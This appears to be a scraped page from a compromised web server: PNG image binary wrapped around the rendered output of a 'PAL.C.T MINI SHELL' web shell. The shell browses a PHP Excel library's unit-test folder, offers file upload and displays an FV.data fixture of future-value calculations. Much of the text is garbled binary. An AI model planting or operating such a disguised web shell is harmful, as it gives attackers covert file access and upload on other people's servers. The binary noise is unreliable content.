php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/
upload
files >> //var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/FV.data

#rate		nper	pmt	pv	type	Result
0.005,		10,	-200,	-500,	1,	2581.4033740601
0.01,		12,	-1000,			12682.503013197
0.009166666667,	35,	-2000,	,	1,	82846.246372418
0.005,		12,	-100,	-1000,	1,	2301.4018303409
0.004166666667,	60,	-1000,			68006.082841536
0.025,		16,	-2000,	0,	1,	39729.460894166
0.1,		12,	-100,	0,	2,	"#NUM!"
0.0,		12,	-100,	-100,		1300
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`